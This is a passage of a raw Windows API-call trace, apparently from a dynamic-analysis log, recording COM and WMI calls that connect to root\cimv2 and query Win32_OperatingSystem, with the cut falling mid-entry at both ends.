This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e600*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0270.285] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1da9e350 | out: ppv=0x1da9e350*=0x1d2184d0) returned 0x0 [0270.285] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d2184d0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1da9e4c8 | out: ppNamespace=0x1da9e4c8*=0x1d28fe40) returned 0x0 [0270.301] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28fe40, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e1c8 | out: ppvObject=0x1da9e1c8*=0x1b201c90) returned 0x0 [0270.301] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b201c90, pProxy=0x1d28fe40, pAuthnSvc=0x1da9e290, pAuthzSvc=0x1da9e210, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214, pImpLevel=0x1da9e220, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224 | out: pAuthnSvc=0x1da9e290*=0xa, pAuthzSvc=0x1da9e210*=0x0, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214*=0x6, pImpLevel=0x1da9e220*=0x2, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224*=0x1) returned 0x0 [0270.301] WbemLocator:IUnknown:Release (This=0x1b201c90) returned 0x1 [0270.301] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28fe40, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e160 | out: ppvObject=0x1da9e160*=0x1b201cd8) returned 0x0 [0270.301] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28fe40, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e170 | out: ppvObject=0x1da9e170*=0x1b201c90) returned 0x0 [0270.301] WbemLocator:IClientSecurity:SetBlanket (This=0x1b201c90, pProxy=0x1d28fe40, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0270.302] WbemLocator:IUnknown:Release (This=0x1b201c90) returned 0x2 [0270.302] WbemLocator:IUnknown:Release (This=0x1b201cd8) returned 0x1 [0270.302] CoTaskMemFree (pv=0x1d1e6ba0) [0270.302] WbemLocator:IUnknown:Release (This=0x1d2184d0) returned 0x0 [0270.302] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28fe40, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dc60 | out: ppvObject=0x1da9dc60*=0x1b201cd8) returned 0x0 [0270.302] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dcf0 | out: ppvObject=0x1da9dcf0*=0x0) returned 0x80004002 [0270.303] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x0) returned 0x80004002 [0270.303] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28fe40, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d4e8 | out: ppvObject=0x1da9d4e8*=0x0) returned 0x80004002 [0270.303] WbemLocator:IUnknown:AddRef (This=0x1b201cd8) returned 0x3 [0270.303] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d3a8 | out: ppvObject=0x1da9d3a8*=0x0) returned 0x80004002 [0270.303] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d330 | out: ppvObject=0x1da9d330*=0x0) returned 0x80004002 [0270.303] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d320 | out: ppvObject=0x1da9d320*=0x1b201bb8) returned 0x0 [0270.304] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b201bb8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d348 | out: pCid=0x1da9d348*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0270.304] WbemLocator:IUnknown:Release (This=0x1b201bb8) returned 0x3 [0270.304] CoGetContextToken (in: pToken=0x1da9d3d0 | out: pToken=0x1da9d3d0) returned 0x0 [0270.304] CoGetContextToken (in: pToken=0x1da9d850 | out: pToken=0x1da9d850) returned 0x0 [0270.304] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b201ca0) returned 0x0 [0270.304] WbemLocator:IRpcOptions:Query (in: This=0x1b201ca0, pPrx=0x1b201cd8, dwProperty=2, pdwValue=0x1da9d900 | out: pdwValue=0x1da9d900) returned 0x80004002 [0270.304] WbemLocator:IUnknown:Release (This=0x1b201ca0) returned 0x3 [0270.304] WbemLocator:IUnknown:Release (This=0x1b201cd8) returned 0x2 [0270.304] CoGetContextToken (in: pToken=0x1da9df10 | out: pToken=0x1da9df10) returned 0x0 [0270.304] CoGetContextToken (in: pToken=0x1da9de10 | out: pToken=0x1da9de10) returned 0x0 [0270.304] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x1da9df70*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1da9df40 | out: ppvObject=0x1da9df40*=0x1d28fe40) returned 0x0 [0270.304] WbemLocator:IUnknown:AddRef (This=0x1d28fe40) returned 0x4 [0270.304] WbemLocator:IUnknown:Release (This=0x1d28fe40) returned 0x3 [0270.304] WbemLocator:IUnknown:Release (This=0x1d28fe40) returned 0x2 [0270.304] SysStringLen (param_1=0x0) returned 0x0 [0270.304] CoGetContextToken (in: pToken=0x1da9e040 | out: pToken=0x1da9e040) returned 0x0 [0270.304] WbemLocator:IUnknown:AddRef (This=0x1b201cd8) returned 0x3 [0270.304] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e040 | out: ppvObject=0x1da9e040*=0x1b201cd8) returned 0x0 [0270.305] WbemLocator:IUnknown:Release (This=0x1b201cd8) returned 0x3 [0270.305] WbemLocator:IUnknown:Release (This=0x1b201cd8) returned 0x2 [0270.305] CoGetContextToken (in: pToken=0x1da9e170 | out: pToken=0x1da9e170) returned 0x0 [0270.305] WbemLocator:IUnknown:AddRef (This=0x1d28fe40) returned 0x3 [0270.305] IWbemServices:ExecQuery (in: This=0x1d28fe40, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1da9e618 | out: ppEnum=0x1da9e618*=0x1b2861d0) returned 0x0 [0270.317] IUnknown:QueryInterface (in: This=0x1b2861d0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2e8 | out: ppvObject=0x1da9e2e8*=0x1b2861d8) returned 0x0 [0270.317] IClientSecurity:QueryBlanket (in: This=0x1b2861d8, pProxy=0x1b2861d0, pAuthnSvc=0x1da9e3b0, pAuthzSvc=0x1da9e330, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334, pImpLevel=0x1da9e340, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344 | out: pAuthnSvc=0x1da9e3b0*=0xa, pAuthzSvc=0x1da9e330*=0x0, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334*=0x6, pImpLevel=0x1da9e340*=0x2, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344*=0x1) returned 0x0 [0270.317] IUnknown:Release (This=0x1b2861d8) returned 0x1 [0270.317] IUnknown:QueryInterface (in: This=0x1b2861d0, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e280 | out: ppvObject=0x1da9e280*=0x1b203538) returned 0x0 [0270.317] IUnknown:QueryInterface (in: This=0x1b2861d0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e290 | out: ppvObject=0x1da9e290*=0x1b2861d8) returned 0x0 [0270.318] IClientSecurity:SetBlanket (This=0x1b2861d8, pProxy=0x1b2861d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0270.334] IUnknown:Release (This=0x1b2861d8) returned 0x2 [0270.334] WbemLocator:IUnknown:Release (This=0x1b203538) returned 0x1 [0270.334] CoTaskMemFree (pv=0x1d1e66c0) [0270.334] IUnknown:QueryInterface (in: This=0x1b2861d0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd50 | out: ppvObject=0x1da9dd50*=0x1b203538) returned 0x0 [0270.335] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dde0 | out: ppvObject=0x1da9dde0*=0x0) returned 0x80004002 [0270.335] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x0) returned 0x80004002 [0270.335] IUnknown:QueryInterface (in: This=0x1b2861d0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5d8 | out: ppvObject=0x1da9d5d8*=0x0) returned 0x80004002 [0270.336] WbemLocator:IUnknown:AddRef (This=0x1b203538) returned 0x3 [0270.336] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d498 | out: ppvObject=0x1da9d498*=0x0) returned 0x80004002 [0270.336] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d420 | out: ppvObject=0x1da9d420*=0x0) returned 0x80004002 [0270.336] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d410 | out: ppvObject=0x1da9d410*=0x1b203418) returned 0x0 [0270.336] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b203418, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d438 | out: pCid=0x1da9d438*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0270.336] WbemLocator:IUnknown:Release (This=0x1b203418) returned 0x3 [0270.336] CoGetContextToken (in: pToken=0x1da9d4c0 | out: pToken=0x1da9d4c0) returned 0x0 [0270.336] CoGetContextToken (in: pToken=0x1da9d940 | out: pToken=0x1da9d940) returned 0x0 [0270.336] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x1b203500) returned 0x0 [0270.336] WbemLocator:IRpcOptions:Query (in: This=0x1b203500, pPrx=0x1b203538, dwProperty=2, pdwValue=0x1da9d9f0 | out: pdwValue=0x1da9d9f0) returned 0x80004002 [0270.336] WbemLocator:IUnknown:Release (This=0x1b203500) returned 0x3 [0270.336] WbemLocator:IUnknown:Release (This=0x1b203538) returned 0x2 [0270.337] CoGetContextToken (in: pToken=0x1da9e000 | out: pToken=0x1da9e000) returned 0x0 [0270.337] CoGetContextToken (in: pToken=0x1da9df00 | out: pToken=0x1da9df00) returned 0x0 [0270.337] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x1da9e060*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e030 | out: ppvObject=0x1da9e030*=0x1b2861d0) returned 0x0 [0270.337] IUnknown:AddRef (This=0x1b2861d0) returned 0x4 [0270.337] IUnknown:Release (This=0x1b2861d0) returned 0x3 [0270.337] IUnknown:Release (This=0x1b2861d0) returned 0x2 [0270.337] WbemLocator:IUnknown:Release (This=0x1d28fe40) returned 0x2 [0270.337] SysStringLen (param_1=0x0) returned 0x0 [0270.337] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e658 | out: puCount=0x1da9e658*=0x2) returned 0x0 [0270.337] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e650*=0xf, pszText=0x0) returned 0x0 [0270.337] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e650*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0270.337] CoGetContextToken (in: pToken=0x1da9e190 | out: pToken=0x1da9e190) returned 0x0 [0270.337] IUnknown:AddRef (This=0x1b2861d0) returned 0x3 [0270.337] IEnumWbemClassObject:Clone (in: This=0x1b2861d0, ppEnum=0x1da9e590 | out: ppEnum=0x1da9e590*=0x1b286320) returned 0x0 [0270.338] IUnknown:QueryInterface (in: This=0x1b286320, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e318 | out: ppvObject=0x1da9e318*=0x1b286328) returned 0x0 [0270.338] IClientSecurity:QueryBlanket (in: This=0x1b286328, pProxy=0x1b286320, pAuthnSvc=0x1da9e3e0, pAuthzSvc=0x1da9e360, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364, pImpLevel=0x1da9e370, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374 | out: pAuthnSvc=0x1da9e3e0*=0xa, pAuthzSvc=0x1da9e360*=0x0, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364*=0x6, pImpLevel=0x1da9e370*=0x2, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374*=0x1) returned 0x0 [0270.338] IUnknown:Release (This=0x1b286328) returned 0x1 [0270.339] IUnknown:QueryInterface (in: This=0x1b286320, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2b0 | out: ppvObject=0x1da9e2b0*=0x1b2021b8) returned 0x0 [0270.339] IUnknown:QueryInterface (in: This=0x1b286320, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2c0 | out: ppvObject=0x1da9e2c0*=0x1b286328) returned 0x0 [0270.339] IClientSecurity:SetBlanket (This=0x1b286328, pProxy=0x1b286320, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0270.340] IUnknown:Release (This=0x1b286328) returned 0x2 [0270.340] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x1 [0270.340] CoTaskMemFree (pv=0x1d1e68d0) [0270.340] IUnknown:QueryInterface (in: This=0x1b286320, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd70 | out: ppvObject=0x1da9dd70*=0x1b2021b8) returned 0x0 [0270.340] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9de00 | out: ppvObject=0x1da9de00*=0x0) returned 0x80004002 [0270.341] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x0) returned 0x80004002 [0270.341] IUnknown:QueryInterface (in: This=0x1b286320, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5f8 | out: ppvObject=0x1da9d5f8*=0x0) returned 0x80004002 [0270.342] WbemLocator:IUnknown:AddRef (This=0x1b2021b8) returned 0x3 [0270.342] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d4b8 | out: ppvObject=0x1da9d4b8*=0x0) returned 0x80004002 [0270.342] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d440 | out: ppvObject=0x1da9d440*=0x0) returned 0x80004002 [0270.342] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d430 | out: ppvObject=0x1da9d430*=0x1b202098) returned 0x0 [0270.342] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202098, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d458 | out: pCid=0x1da9d458*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0270.342] WbemLocator:IUnknown:Release (This=0x1b202098) returned 0x3 [0270.342] CoGetContextToken (in: pToken=0x1da9d4e0 | out: pToken=0x1da9d4e0) returned 0x0 [0270.342] CoGetContextToken (in: pToken=0x1da9d960 | out: pToken=0x1da9d960) returned 0x0 [0270.342] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x1b202180) returned 0x0 [0270.342] WbemLocator:IRpcOptions:Query (in: This=0x1b202180, pPrx=0x1b2021b8, dwProperty=2, pdwValue=0x1da9da10 | out: pdwValue=0x1da9da10) returned 0x80004002 [0270.342] WbemLocator:IUnknown:Release (This=0x1b202180) returned 0x3 [0270.342] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x2 [0270.342] CoGetContextToken (in: pToken=0x1da9e020 | out: pToken=0x1da9e020) returned 0x0 [0270.344] CoGetContextToken (in: pToken=0x1da9df20 | out: pToken=0x1da9df20) returned 0x0 [0270.344] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x1da9e080*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e050 | out: ppvObject=0x1da9e050*=0x1b286320) returned 0x0 [0270.344] IUnknown:AddRef (This=0x1b286320) returned 0x4 [0270.344] IUnknown:Release (This=0x1b286320) returned 0x3 [0270.344] IUnknown:Release (This=0x1b286320) returned 0x2 [0270.344] IUnknown:Release (This=0x1b2861d0) returned 0x2 [0270.344] SysStringLen (param_1=0x0) returned 0x0 [0270.344] IEnumWbemClassObject:Reset (This=0x1b286320) returned 0x0 [0270.345] CoTaskMemAlloc (cb=0x8) returned 0x1d1c0f30 [0270.345] IEnumWbemClassObject:Next (in: This=0x1b286320, lTimeout=-1, uCount=0x1, apObjects=0x1d1c0f30, puReturned=0x26178e8 | out: apObjects=0x1d1c0f30*=0x1b268a00, puReturned=0x26178e8*=0x1) returned 0x0 [0270.352] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b268a00) returned 0x0 [0270.352] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d9a0 | out: ppvObject=0x1da9d9a0*=0x0) returned 0x80004002 [0270.352] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0270.352] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d198 | out: ppvObject=0x1da9d198*=0x0) returned 0x80004002 [0270.352] IUnknown:AddRef (This=0x1b268a00) returned 0x3 [0270.352] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0270.352] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cfe0 | out: ppvObject=0x1da9cfe0*=0x0) returned 0x80004002 [0270.352] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, 